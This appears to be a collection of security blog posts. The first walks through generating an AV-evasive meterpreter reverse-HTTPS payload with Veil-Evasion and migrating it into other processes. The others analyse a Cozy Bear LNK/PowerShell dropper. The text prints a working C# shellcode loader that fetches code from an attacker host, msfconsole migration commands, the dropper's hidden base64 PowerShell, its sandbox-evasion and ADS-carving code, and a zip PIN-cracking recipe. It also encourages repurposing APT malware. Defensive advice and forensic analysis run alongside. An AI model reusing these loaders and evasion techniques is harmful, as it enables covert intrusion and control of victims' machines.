Veil-Evasion, and Process Injection monitoring with ProcMon

I’m taking a break from the Bears writeup to look at the swiss army knife payload generator and obfuscation tool Veil-Evasion. For those not familiar, it is a fairly foolproof way to get your payloads around client side AV. Most AV products suck, but they are still good enough to catch any default payloads from metasploit. The goal of veil is to give you similar tools to what the guys out there doing this for a living actually have. Major props to @harmj0y and the crew behind Veil. Today I am going to generate a payload, run it, migrate to hide it, and then see what things look like from the endpoint. There are LOTS of cool payloads so I recommend checking it out.

For this initial go around I will use a meterpreter rev_https shell which is a tried and true way to get around most firewalls. Since I am going to do a rev_https shell, it makes sense that I set my listener to 443. At a casual glance IR/CIRT might assume that it is https traffic to a local web server. Enter your LHOST and LPORT, then simply type “generate” to run and compile the C# code. As the splash mentions, don’t be an ass and submit the code to VirusTotal or malwr.

=========================================================================
 Veil-Evasion | [Version]: 2.28.2
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [*] Executable written to: /var/lib/veil-evasion/output/compiled/service.exe

 Language:		cs
 Payload:		cs/meterpreter/rev_https
 Required Options:      COMPILE_TO_EXE=Y  LHOST=192.168.109.134  LPORT=443
                        USE_ARYA=N
 Payload File:		/var/lib/veil-evasion/output/source/service.cs
 Handler File:		/var/lib/veil-evasion/output/handlers/service_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Let’s take a look at the source code before we run the exe on a Win10 box. I won’t dig into the details of the loops since we already know this is a reverse shell which is going to beacon out. Looking at the random strings and methods of building arrays should look fairly familiar if you have spent any time looking at VBS macro droppers which are automated in a similar fashion. We can see the Crypto libraries for the encrypted SSL comms, we can see the faked user agent strings, and that the C2 is actually going to be passed from the attack box to the victim in the URI.

KcgNMLCmI = HVITufm("https://192.168.109.134:443/" + hSIyuaclhbIKw(VUrMJJNOMylnMo));

On a typical engagement this would likely be an innocuous sounding domain name pointing to your handler running in AWS or similar. Would you immediately be suspicious of a domain like this in your traffic?

https://adtracker.advertisingaffiliates.com:443/FWEasfwepoiujcpaasfsdIaseafEFQOFEWCSCSsskdlsakdeJSDUEREJFErfxdsDEW234123

I wouldn’t.. Consider that when I go to CNN with firebug on, I see stuff like this which is legit.

https://cdn.doubleverify.com/dvtp_src.js?ctx=971108&cmp=10791796&sid=1408171&plc=144230506&num=&adid=&advid=4053494&adsrv=1®ion=30&btreg=316303355&btadsrv=doubleclick&crt=78198179&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src

Still doubt me?

This is why it is so damn hard to be on the defensive side. Your best bet is defending the endpoints since network traffic is a guessing game even if you are in an environment that can stomach domain white listing.

Anyhow, here is the code generated for the reverse shell by Veil-Evasion.

using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
namespace qmVybJ { class HwPXMGnl {
private static bool yzrhGgHYX(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
static string wvenQNG(Random r, int s) {
char[] ucSiUmAtHTox = new char[s];
string jPzxWRqspJKAoqR = "SUjRIxarp3mEJflcFAvVozD7d84wCtYXGWKOMy96TqZs25QgkN01uhBLeinPHb";
for (int i = 0; i < s; i++){ ucSiUmAtHTox[i] = jPzxWRqspJKAoqR[r.Next(jPzxWRqspJKAoqR.Length)];}
return new string(ucSiUmAtHTox);}
static bool YqULHNvuyxpbUR(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
static string hSIyuaclhbIKw(Random r) { string xRxnMrflSbj = "";
for (int i = 0; i < 64; ++i) { xRxnMrflSbj = wvenQNG(r, 3);
string talfjdJc = new string("m41NbdYgfGQjW3nzOHUS7pksIZl2y9ciVXrvAB0xTKaquCPF5EoJM8tehDR6wL".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
for (int j = 0; j < talfjdJc.Length; ++j) {
string rFFdcaABTwojeR = xRxnMrflSbj + talfjdJc[j];
if (YqULHNvuyxpbUR(rFFdcaABTwojeR)) {return rFFdcaABTwojeR;}}} return "9vXU";}static byte[] HVITufm(string tVjsDhLPDKHNf) {
ServicePointManager.ServerCertificateValidationCallback = yzrhGgHYX;
WebClient FPcGsTebmeYWk = new System.Net.WebClient();
FPcGsTebmeYWk.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
FPcGsTebmeYWk.Headers.Add("Accept", "*/*");
FPcGsTebmeYWk.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
FPcGsTebmeYWk.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
byte[] aDwIpKd = null;
try { aDwIpKd = FPcGsTebmeYWk.DownloadData(tVjsDhLPDKHNf);
if (aDwIpKd.Length < 100000) return null;}
catch (WebException) {}
return aDwIpKd;}
static void QWtlFDGkN(byte[] HuHeuyxoa) {
    if (HuHeuyxoa != null) {
        UInt32 lgUBVysGbhpUT = VirtualAlloc(0, (UInt32)HuHeuyxoa.Length, 0x1000, 0x40);
        Marshal.Copy(HuHeuyxoa, 0, (IntPtr)(lgUBVysGbhpUT), HuHeuyxoa.Length);
        IntPtr WcqudPV = IntPtr.Zero;
        UInt32 bBKzAFzzBm = 0;
        IntPtr yqAnvgjjBIRQG = IntPtr.Zero;
        WcqudPV = CreateThread(0, 0, lgUBVysGbhpUT, yqAnvgjjBIRQG, 0, ref bBKzAFzzBm);
        WaitForSingleObject(WcqudPV, 0xFFFFFFFF); }}
static void Main(){
Random VUrMJJNOMylnMo = new Random((int)DateTime.Now.Ticks);
byte[] KcgNMLCmI = HVITufm("https://192.168.109.134:443/" + hSIyuaclhbIKw(VUrMJJNOMylnMo));
QWtlFDGkN(KcgNMLCmI);}
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 pLnaDIDFdQwKcK,UInt32 kugvrUNzuh, UInt32 ixrbXNyJBMXzr, UInt32 ISTUcXfe);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 EnjOYJzc, UInt32 bDgnvBXv, UInt32 gCOpUanS,IntPtr wbsOhMOIh, UInt32 PaAqAbKiE, ref UInt32 yxbSxjcoOTX);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr ZlWwvPAlz, UInt32 EPJujz); } }

Now let's get the exe onto the victim box and run it. First we setup our metasploit handler which veil has been nice enough to give us a handler file for ( /var/lib/veil-evasion/output/handlers/service_handler.rc). This handy file makes it a one shot deal to get your payload handler running. Once in msfconsole simply type "resource" and then the path to your .rc file.

I am glossing over the initial compromise method since that isn't the focus of this briefing. Let's say we social engineer someone into believing they need to patch their system, and include a link to download the patch.

On the attacker box I see a session being started when the Windows 10 box runs the service.exe. To make things more "difficult" for the defensive side I first interact with the session, then I am going to list processes and migrate to one so that the initial service.exe can get killed and I can live on in process injection.

If you are new to metasploit the following commands inside msfconsole list sessions, interact with one, find processes, then migrate.

sessions -l 
sessions -i session# 
ps
migrate pid#

Since I am masquerading C2 traffic as https traffic it makes sense that I would migrate to something like a browser. Here is a shot of a successful migration to the venerable IE.

On the host box I fire up process hacker like a dutiful sys admin might if he suspected something was suspicious. There is no longer a suspicious "service.exe" and the network connections reveal Internet Explorer talking with websites over the normal 80 and 443. You can obviously pick out the "bad" connection since you know for this demo that I am a local attacker, but if you replaced my local Kali handler with one and AWS and a public IP good luck spotting that. Of course I am eventually going to want to elevate myself as system and migrate to somewhere else for persistence since in my current state if the user kills internet explorer my shell dies with it. For the sake of making this a bit more challenging I will leave my shell inside internet explorer.

Using Process Hacker and looking at strings in memory I can make out the various URI's corresponding to Bing, yahoo, and anything else I have open. Mixed in there is the IP address of the attack box, but if that was an address like https://amazon.cdnnetwork.com I would naturally just assume that my browser was pulling down ads on one of the homepages. Defensive Group Policy like Applocker and changing scripts to open with notepad.exe are a million times more effective than AV or IOC based detection on network traffic. Whitelisting can be bypassed via injection, but for most circumstances if you can stop that js/hta/vbs/exe/com from running in a temp directory you will force the attacker down a much harder avenue. It is a war of attrition. For an added bonus, Applocker is built into Windows so you don't have to blow more money in your company. Looking at the traffic in Wireshark confirms that all the communications are TLS encrypted so unless you have MITM functionality on network traffic you aren't going to have squat.

HOWEVER, if you migrate your meterpreter session into iexplore.exe you find yourself in a sandbox which you weren't in initially. So in theory an attacker could most likely stay in your browser and easily blend in, but in practice an attacker is going to want to be injected into a process operating with elevated privileges and one that doesn't get killed in the event that a user closes the browser. Here is a screenshot showing that while injected into the browser I couldn't view system process and I eventually I got my shell killed when the browser was closed by the user.

Now lets redo the infection and see what things look like if I go the most likely route that an attacker would take. Exiting out of meterpreter I can see that my handler is still running on 443 so there is no reason to re-launch it.

Relaunching the "service.exe" malware from the browser and pulling up Process Hacker shows that this should clearly alarm you due to the location that it is running out of. I can't stress enough that if you want to make life hard for the APT's, ransomware pushers, and pen testers remove the ability for an executable to run out of any TEMP paths like C:\TEMP (older) or the %APPDDATA% (newer) path via Applocker policy.

Now I migrate over to svchost.exe and you can see in process hacker that the connection is coming through the process which I injected into. Process Injection isn't just done by malware, and nothing yells out and alerts you even on Windows10 that a random executable in APPDATA just injected into an application signed by Microsoft.

If you go look at the memory of the svchost.exe which has injection going through it versus your average svchost.exe you do notice that there is a LOT more going on, particulary with crypto libraries being loaded. You can also see some unique strings which indicate what is going on to the trained eye, but only if you are already looking for this.

Let's take a look at what sort of artifacts are created when this process migration goes through. I am going to use SysInternals ProcMon to watch the migration as inject my shell from it's original dropper "service.exe" into the legitimate notepad.exe. I chose this over the previous migrations because these two processes should have less noise. service.exe is all bad, and notepad.exe is simple and should have no network functionality. If I watched the migration to iexplore.exe there would be substantial noise since many of the connectivity modules and hooks would be present under legitimate circumstances as well.

Filtering off of notepad.exe and service.exe, then viewing Network Summary (Under Tools Dropdown) I can clearly see when the hand off has completed.

Actually looking at the events that have been created from this migration are a little more opaque, but you can see the threads being killed inside service and corresponding ones being opened up in notepad.

Stepping back in time, let me look at the Stack before migration.

And now after the trace is complete during the injection we look at the stack.

Running PS to list the processes inside the session shows what that Query looks like, as you would expect it finds all the running processes. The IRP_MJ_QUERY_INFORMATION is a request by the IO/Manager which does exactly what we would expect, it queries the file system for information on files. Pretty cool to be seeing this level of granularity on a command.

Now I migrate my shell into notepad.exe and look at Procmon for what appears to be the first event of the migration, a Thread Create inside notepad followed with a bunch of Thread's being terminated inside the malicious service.exe. Looking at that thread even show's the stack now contains a number of modules only referenced by the memory address and not a known DLL or program.

As we follow along the event timeline and check the stack for service.exe and notepad.exe we can see the migration occurring. Do to the overload of information that Procmon provides thousands of events occur in between. Once you see service.exe no longer in the timeline and you check on notepad you can see the modules running in the stack include the system and communication drivers you would expect of a backdoor shell.

In summation I want to drive home the following.

  1. You should run AV at home and in your Enterprise, but it should not be considered your "endpoint security solution." AV is fairly easy to get around using tools like Veil or custom packers.
  2. Monitoring network traffic is good, particularly for Data Loss Prevention (DLP). It is not good for spotting malicious traffic however since nearly all bad guys are using https which you will never be able to block at the firewall. Domain whitelisting is great, but C2 can still be delivered via googledocs, twitter, instagram, etc, so you have to REALLY be ready to lock down the network and let the users complain.
  3. Process Injection works and it isn't going away. The one choke point you really have as a defender is to block that moment when the user clicks to run the .hta, js, macro, com, scr, exe, ws, ps1, etc. Your best bet is to not allow regular users to ever run scripts or executable's in temp paths via GroupPolicy. Lots of organizations lock it down so you need an admin to install software, but this does nothing to stop a user from running random code out of %APPDATA%. In the end statistics don't lie and that is where malware drops and often times lives out it's entire life.

Bear’s election campaign – (3/4)

Now the fun begins. Using static analysis of the code we have extracted the two overtly malicious files which are stored as %APPDATA%\\Skype\\hqwhbr.lck” and the ADS PNG residing in the same directory %APPDATA%\\Skype\\hqwhbr.lck:schemas”.

The corresponding hashes I have for the files I carved out of the LNK are 57c627d68e156676d08bfc0829b94331 and cbf96820dc74a50a91b2b8b94376682a which are a match for the Volexity blog so that is a good sign. As I noted before, if you decide to jump in via dynamic analysis to get the two files you will not see the :schemas unless you view the directory in the command prompt and use the /R flag. Alternate Data Streams was created for compatibility with other OS’s, but the only time I have come across is it is for malware or forensics training.

Now that I have the files to look at, I usually start off by running FireEye’s excellent FLOSS tool which does the basic strings, but also does a few levels of un-encoding if it is using simple routines. Running the tool with the -i flag also allows you to have a python script to run in IDA which will show the strings which are decoded. There is also support for RADARE if you are using that. Looking at the output from FLARE we see some interesting strings which lead us to believe that the backdoor is using HTTP/HTTPS for command and control or exfill. Not a big shocker, I’m not aware of much for malware these days that doesn’t fly right by your egress firewall rules by using 80/443.

For the sake of brevity, I will just paste the strings I found of interest. Inside the encoded function located at 0x402937 are browser strings, and some interesting ones which could potentially be related to the suspected TEA algorithm which we assume the PNG is saved as. We also see what I was hoping to find, “:schemas” referenced inside this function which will hopefully save us some time in locating the decoding routine for the PNG. Of note we also see some registry related paths and a reference to IAStorIcon which Volexity mentioned is the location where it achieves persistence in the registry. Three cheers to the girls and guys on the Flare team for creating this tool and open sourcing it to the community.


λ C:\Tools\floss-1.3.0\floss.exe C:\Users\thomas\Desktop\hqwhbr.lck -g -i floss.py

FLOSS decoded 48 strings

Decoding function at 0x402937 (decoded 48 strings)

Mozilla\Firefox\Profile
user_pref("network.proxy.http_port",
Use HTTP=
HTTP server=
LoadLibraryA
VirtualAlloc
VirtualFree
GetProcessHeap
HeapAlloc
SUVW1
_^][
default
prefs.js
Opera\Opera
operaprefs.ini
VWS1
u#j@h
\IAStorIcon
SOFTWARE\\Microsoft
note_window_management_procedure
accepted-
1.1.1.1
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
:schemas

SOFTWARE\Microsoft\Windows\CurrentVersion\Run
rundll32 "%s", #2

FLOSS extracted 4 stackstrings
VAadvapi32.dll
winhttp.dll
shell32.dll
AAA:
Wrote IDAPython script file to C:\Users\thomas\floss.py

Loading the .lck DLL into IDA and then running the floss.py script against it works with just a few stack string errors which we won’t worry about. We can see from the FLOSS output that the tool has identified 0x402937 as the location of the decoding routine for the strings. Pulling up the graph for the function we can see what is going on with the xor loop.
strings_decode

The corresponding C pseudo code for this XOR routine via the HexRays Decompiler:

char __stdcall sub_402937(int a1, int a2)
{
  _BYTE *v2; // esi@1
  int v3; // edi@1
  int v4; // ecx@1
  char result; // al@2

  v2 = (_BYTE *)(a2 - 1);
  v3 = a2 - 1;
  v4 = a2 - a1;
  do
  {
    result = *(_BYTE *)(v3 - 2) ^ *(_BYTE *)(v3 - 1) ^ *v2;
    *v2-- = result;
    --v3;
    --v4;
  }
  while ( v4 );
  return result;
}

Alrighty, so we have determined how FLARE got the decoded strings, but we still need to apply the decoding routine to the whole block of code, not just guessing at functionality from a few decoded strings. Who knows what else is in there if we don’t decode it? Now that we figured out the XOR decoding routine function, we can look at XREF’s to see what calls this function and what arguments are passed to it. From the pseudocode we can tell that we are looking for two arguments (int a1, int a2) which are most likely the start and end of the section to decode.

Right clicking on our function name and clicking on “xrefs to XOR_routine” we can see that two other functions call on it. Looking at the cldsys_2 function we can see two arguments being pushed onto the stack to be passed to the routine.

arguments

As we predicted we are seeing two memory locations being passed to the XOR routine, and the do loop counts down with the total loop count being the difference between the memory addresses. So we can expect the count to run (0x401DA3-0x40146A) or (0x939) times which is the length of the encoded section. Next I need to carve out the section which I will use with a custom python script to decode. Something that stumped me for a minute and a coworker helped me with was to find that location in a hex editor. Remember the .lck file is a DLL so it is being loaded into a different address space inside IDA versus just viewing it in a hex editor. That being said we know the difference between the start and end will be the same, it is just the offset that differs. As a quick and easy workaround I did the following. (Note: there has to be an easy way to do this inside IDA, but I don’t know how and the hex editor native to IDA is horrible…) Inside IDA go to the first memory location (0x40146A) and take a look at all the encoded glory.

encoded

Now I am going to copy the first row which should be enough to get me a unique string to search for inside my hex editor of choice (Personal favorite is 010).

Inside IDA loaded through a DLL at 0x40146A…
encoded

After searching for the corresponding string inside 010 we find the same location to be at 0x86A.
encoded2

So now we know that the offset is 0x400C00, but we just want to carve the difference between the start and stop which doesn’t vary between the programs. Inside 010 we do a “select range” (start: 0x86A Size: 0x939) and save it to a new file named encoded.bin.
b4

Now it’s time to make our python utility to decode the encoded.bin file. We are at a bit of an advantage since we already know what the C pseudo code looks like for the routine. According to the XOR decoding routine pseudocode each byte is going to be XOR encoded by first the byte two to the left, and then one to the left. I came up with the following python script which decodes the encoded.bin file.

#!/usr/bin/python
import sys

def main():
	b = bytearray(open(encrypted, 'rb').read())
	r = len(b) -1
	print r

	while (r > 2):
	    b[r] = b[r] ^ b[r-2] 
	    b[r] = b[r] ^ b[r-1]
	    r = r-1
	open('output.bin', 'wb').write(b)

if len(sys.argv) != 2:
	print "Enter the encrypted filename as your argument."
	sys.exit(0)

else:
	encrypted = sys.argv[1]
	"Check your directory for the output.bin file"

if __name__ == '__main__':
	main()

Great success!

after

I think this article went on long enough so I will call it a day.

Bear’s election campaign – (2/4)

Continuing the assessment of the Cozy Bear election day campaign mentioned by Volexity. I will be looking at this password protected zip file f79caf27a99c091e6c1775b306993341. This post is focusing on static analysis to get the files to analyze, with the next post focusing on static analysis of the binary itself.

To begin I went ahead and XOR decoded the whole file with the XOR key 41 since we already know that was the key used on most of the files inside the LNK. Browsing through the file for things of interest a few things jump out, an MZ header, a PNG header, and what appears to be an actual RTF file. The Bears have typically used PNG files with encoded binaries inside them as a next stage dropper. Even if you are doing deep packet inspection at the perimeter you are likely to not trigger on an encoded image file coming off of a web server. What seems odd is that this PNG file will already be on disk inside the same blob that contains the DLL, so it is not as though it is hiding. Likely this is to evade AV signatures, and make it harder to figure out what the C2 and full functionality is. If an AV triggers on the file and uploads it to their servers for analysis it may pull the actual DLL file up, but miss out on all the run time data which is being carved out of this fake image file. Since the Bears are known to use the TEA algorithm we will likely have to reverse a routine inside the malware to see if we can pull out the decoding routine being applied to this fake PNG image. Alternatively, we will also run the malware and see if any hooks are inside the PNG data with decoded commands in memory. Sometimes dynamic analysis will save a bit of time over static if we are trying to do this quickly for our companies/clients defensive measures such as DNS/IP blocks.

Looking at the additional Powershell script that was carved out of the bottom of the LNK file and base64 decoded we can see what appears to be the locations to carve out including the decoy document. Many malware writers will focus on the dropper, but completely cut corners when it comes to the decoy which is truly a sign of a Non-Advanced Persistent Threat. It is the authors opinion that if you are a nation state actor and you are using the 2012-0158 CVE and a blank page decoy you should quit “cyber”. Do something better with your “cyber warriors” like have them troll the opposition on Twitter or typo squat with a rick roll redirect. Now that I got that rant off my chest lets look at the Powershell code.

$acc = [IO.FileAccess]::READ
$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;

detect_susp_environ

$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

We can see the RTF being carved out, but we aren’t concerned enough to carve that file after we look at it in hex and determine that it is just a decoy. We can see the detect_susp_environ function being called, which is looking for a score greater than 3 at which point heat_proc function is called and the script will exit with a normal termination exit code 0 effectively halting the dropper routine at this point. The scoring was based on some pretty simple stuff such as admin users, BIOS strings for virtualbox/vmware, virtual ethernet adapters, process explorer, task manager, wire shark, etc. Some of the more anti analysis orientated malware searches for hashes of values that it is looking for which makes it a bit more difficult to find what it is looking for, but this is effective enough to avoid most sandbox analysis environments which was the goal. The enterprise shift to automated sandbox analysis has created a common goal of clearing that as the thresh hold. Evading analysis by a talented reverse engineer is such a pain to do that it is rarely worth the effort since at that point your C2 has likely already been extracted via dynamic analysis.

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    }
    Exit 0
}

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {
        heat_proc
    }
}

Once we get past the detection routine it is time to do some manual analysis of what is getting carved and placed onto disk for execution.

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"

$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"
}

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
$fs.Close()
&"rundll32.exe" "$cfpath," "#2"

Of interest to us is $cfpath because we see that it is being launched through the windows program “rundll32.exe” which is the standard way to run a DLL file. So we know that the %APPDATA%\\Skype\\hqwhbr.lck” is actually a DLL which will have a MZ header inside the large LNK file. Here is the $cfpath with variables replaced by values.

$cfpath = pl_dropper $lnkfd 0x0dac (0x37ac – 0x0dac) “%APPDATA%\\Skype\\hqwhbr.lck”, with $lnkfd being equal to the memory space of the entire LNK file which was in the password protected zip.

The math simplifies to a carve for the hqwhbr.lck file starting at 0x0DAC and extending in length 0x2A00 long. After my carve and XOR’ing it with the key of 41 I verify an executable header (MZ) to make sure I didn’t screw up on the math.
mz The hash I have for this file hqwhbr.lck is 57c627d68e156676d08bfc0829b94331 which matches what the Volexity blog lists.

The next carve is to the same path of “%APPDATA%\\Skype\\”, but the destination file is being appended with a :schemas. This may jump out to you if you have ever gone through forensics training, if it doesn’t then don’t feel bad considering it had been awhile since I have seen it as well.

The method of hiding data is called an Alternate Data Stream or ADS, and the typical example given during classes is as follows. User A creates a file with a bunch of filler text called blah.txt. That user also has something they want to keep secret from prying eyes so in the command line they put the data into the ADS of that file which the average user will never see even if they get the file.

Here is a screenshot I made that shows the gist of the premise.
ads

Alternatively, the venerable sysinternals suite has a program called streams.exe which can recursively look for ADS on your system. It easily finds it on my secret text file as shown in the following screenshot.
ads2
So in practice with this malware what we see is a DLL file being saved to disk as “%APPDATA%\\Skype\\hqwhbr.lck”, and then a fake image PNG carved out starting at 0x37AC is being placed in the same directory as an Alternate Data Stream. “%APPDATA%\\Skype\\hqwhbr.lck:schemas”
The DLL is only 10.7kb in size, and the ADS PNG is 547.6kb in size so we can assume a fair amount of this droppers functionality is hidden inside the ADS which I might add is still completely encrypted.

Carving out the ADS/PNG, inside 010 we do a “Select Range” from 0x37AC to 0x892E0.

892e0h-37ach
>>> Result = 547636 [85B34h]

Here we can see the beginning of the PNG carve which we will then paste into a new binary file and XOR with the key 41 before saving. png Hashing this file gives us 26631625d8e4e09163f349bed8126ff1 which at the time of writing had not been submitted to VirusTotal.

Now we have our two likely malicious files so we are ready to go for the next post on analyzing the binaries.

Bear’s election campaign – (1/4)

In the wake of the 2016 United States Presidential Election, not even six hours after Donald Trump became the nation’s President-Elect, an advanced persistent threat (APT) group launched a series of coordinated and well-planned spear phishing campaigns. Volexity observed five different attack waves with a heavy focus on U.S.-based think tanks and non-governmental organizations (NGOs). These e-mails came from a mix of attacker created Google Gmail accounts and what appears to be compromised e-mail accounts at Harvard’s Faculty of Arts and Sciences (FAS). – Volexity ( http://www.volexity.com/blog/)

This is part 1 of likely a multi part look at Cozy Bear and how to learn from them to make your RedCell/Penetration testing more “real world” by emulating them. To the point of re-purposing their malcode for yourself. So many pen testing teams rely heavily on the open source tools msfvenom/PowerShell empire/mimikatz, etc, but don’t go to the source and directly rip off the malware from APT’s and criminal organizations. I figure, why reinvent the wheel?

This is the one particular zip and contents that I am looking at. Screenshot via Volexity blog.
volexity_writeup

Our first hurdle is to get the payload out of the password protected zip. Usually they put the PIN in the message body of the phish email with some sort of bs info such as “use this to get your confidential document.” However, if we are pulling the malware off of a site like VirusTotal we don’t have access to that PIN/password. This is common with current ransomware phishing emails as well. I’ve never seen this payload type used, but I suspect that we will shortly. In the past both the APT’s and Ransomware pushers have been heavily reliant on scripts and macro docs to get the dropper to disk. The benefits of this sample would be that the script doesn’t have to go out and pull down malware, it is already all embedded in the one file.

Onto cracking the PIN even though Volexity lists it. We will pretend we don’t have it for the sake of the article.

Generate a PIN possibility wordlist via crunch.
root@kali:~# crunch 2 5 0123456789 > ~/Desktop/pin_combos_2_5.txt

crunch

Now that we have a sufficient pin list we move onto cracking the zip via fcrackzip in kali2.
root@kali:~/Desktop# fcrackzip -v -D -u -p pin_combos_2_5.txt '/root/Desktop/37486.ZIP'

cracked

Now we have our new PIN 6190, so lets pull out the LNK file and verify with the hex editor what is going on before digging in. Yup… Powershell referenced immediately as an argument to a LNK file.
file_type

Here’s what it looks like on the Windows side of the house. One thing should be a give away. A shorcut file that is over half a mb large. A legit shortcut is smaller than one kb.
shortcut

Here’s something I can’t wrap my brain around. As of 11/11 the zip file is scoring 2/55 on VT, and the actualy payload once you pull it out… is getting ZERO detections. I am guessing that the two AV’s detecting the zip are purely going off hash values since they are relatively no name AV companies.
vti_zip
vti_lnk

Summation of how this dropper gets to disk.

  • LNK file is large, pretends to point to an RTF with a bs tagline about the election
  • LNK actually points to Powershell and feeds it a base64 string to decode
  • That Powershell carves out from the big LNK file an additional base64 section at the bottom which is more Powershell
  • That script does some vm detection, looks for a typical sandbox environment, etc.
  • If it “scores” low enough an executable section of the LNK is carved out, xor decoded (key is 41), and then run via rundll32 with the argument #2
  • File is saved as a .lck in %APPDATA\Roaming\Skype\” and persistence via the registry RUN key
  • User is presented with a carved out RTF with a real article to keep them from being suspicious.

So once we have extracted the LNK file and start digging we immediately discover something clever.

This article initially is just focusing on the unique drop method, and not the Cozy Dukes backdoor.

Starting off, we right click on the LNK file and look at the “target” property which under normal circumstances would point to the RTF file it pretends to link to. What we find is the following code. Since we see the PowerShell code isn’t finished off with the ‘) we look into a hex editor and pull out the rest.

via target attribute

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdna

via hex editor we get the whole thing…

C:\Windows\System32\WindowsPowerShell\v10\powershellexeK\\\\\\\Windows\System32\WindowsPowerShell\v10\powershellexe÷-noni -ep bypass -win hidden $s = [TextEncoding]::ASCIIGetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdnaW5nLWluLWFtZXJpY2EucnRmLmxuayI7aWYgKC1ub3QoVGVzdC1QYXRoICRmKSl7JHggPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRFbnY6dGVtcCAtRmlsdGVyICRmIC1SZWN1cnNlO1tJTy5EaXJlY3RvcnldOjpTZXRDdXJyZW50RGlyZWN0b3J5KCR4LkRpcmVjdG9yeU5hbWUpO30kaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JHggPSBOZXctT2JqZWN0IGJ5dGVbXSgkb2UtJG9zKTskaWZkLlNlZWsoJG9zLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRpZmQuUmVhZCgkeCwwLCRvZS0kb3MpOyR4PVtDb252ZXJ0XTo6RnJvbUJhc2U2NENoYXJBcnJheSgkeCwwLCR4Lkxlbmd0aCk7JHM9W1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHgpO2lleCAkczs='); iex $s;

Decoded via python (base64.b64decode(‘arg’)) the base64 string decoded and formatted is as follows:

$os=0x0009fdda;
$oe=0x000a1916;
$f="37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk";
if (-not(Test-Path $f))
{
    $x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName);

}
    $ifd = New-Object IO.FileStream $f,\'Open\',\'Read\',\'ReadWrite\';
    $x = New-Object byte[]($oe-$os);
    $ifd.Seek($os,[IO.SeekOrigin]::Begin);
    $ifd.Read($x,0,$oe-$os);
    $x=[Convert]::FromBase64CharArray($x,0,$x.Length);
    $s=[Text.Encoding]::ASCII.GetString($x);
    iex $s;'

The powershell script is streaming data from the lnk file to create a new object. It is reading in from $oe-$os or 0x000a1916-0x0009fdda, and then base64decoding and running it. Inside our hex we go to a1916 which is the end, and then go back to 9fdda which is the beginning of the carve.

It’s all pretty straight forward and does what I mentioned above, some sandbox/vm checks, and then carving out the malicious dropper and putting it in %APPDATA%\\Skype\\hqwhbr.lck, along with persistence. You can see where it is carving out the .lck file which is the dropper and xor decoding it with the key 41. I found the key quickly using XORsearch because I didn’t read the code first. Lazy, or efficient? Not sure… Either way, if you don’t heavily use Didier’s tools you should. https://blog.didierstevens.com/programs/xorsearch/ All of his tools are gold, and he is one productive guy.

This script is not the creative part in this campaign, it is the method of making a LNK link to powershell and then carve out of itself which I haven’t seen. This LNK file is still getting a 0 on VT. The dropper hasn’t been uploaded to VTI yet and I wasn’t going to be the first but I would imagine it is still fairly low since the C2 and URL related commands are all encoded in the binary until run time. I’ll dig into that during a later post, but it is fairly well documented for this actor.

After decoding, and prettying up the PowerShell we get the following code. Apologies if the brackets are occasionally in the wrong place, it was kind of a mess for me with find and replace.



function pl_dropper ($ifd, $os, $len, $dpath) {
    $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
    $pdir = Split-Path -Parent $dpath
    if ($pdir) {
        $b = Test-Path $pdir
    } 
    else {
        $b = $True
    }

  if (!$b) {
         New-Item -ItemType directory -Path $pdir | out-null
    }

    $name = Split-Path -Leaf $dpath

    $pathlist = @($dpath, "%APPDATA%\\$name", "%TEMP%\\$name")
    ForEach ($dpath in $pathlist) {

